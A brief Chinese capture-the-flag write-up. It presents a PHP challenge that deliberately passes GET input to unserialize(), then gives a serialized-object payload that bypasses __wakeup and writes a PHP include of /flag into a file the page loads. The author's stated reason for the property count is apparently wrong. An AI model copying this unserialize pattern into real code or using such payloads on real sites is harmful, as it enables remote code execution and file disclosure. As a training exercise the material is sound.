<?php
//flag in /flag
show_source('./index.php');
class catf1ag{
public $target='flag';
function __wakeup(){
$this->target = "catf1ag is CTF platform!";
}
function __destruct(){
$fp = fopen("catf1ag.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['catf1ag'];
$b = unserialize($a); //运行该unserialize()前会先执行function __wakeup()
include 'catf1ag.php';
?>
以下解题思路是小白本人自己的理解,如有错误请指正。
从所给代码中可以看出:1、进行了反序列;2、注释中提示flag在/flag文件中;3、catf1ag类需要有$target和$fp两个参数。
所以根据反序列写URL代码:
?catf1ag=O:7:"catf1ag":2:{s:6:"target";s:26:"<?php include('/flag'); ?>"}
即能得到flag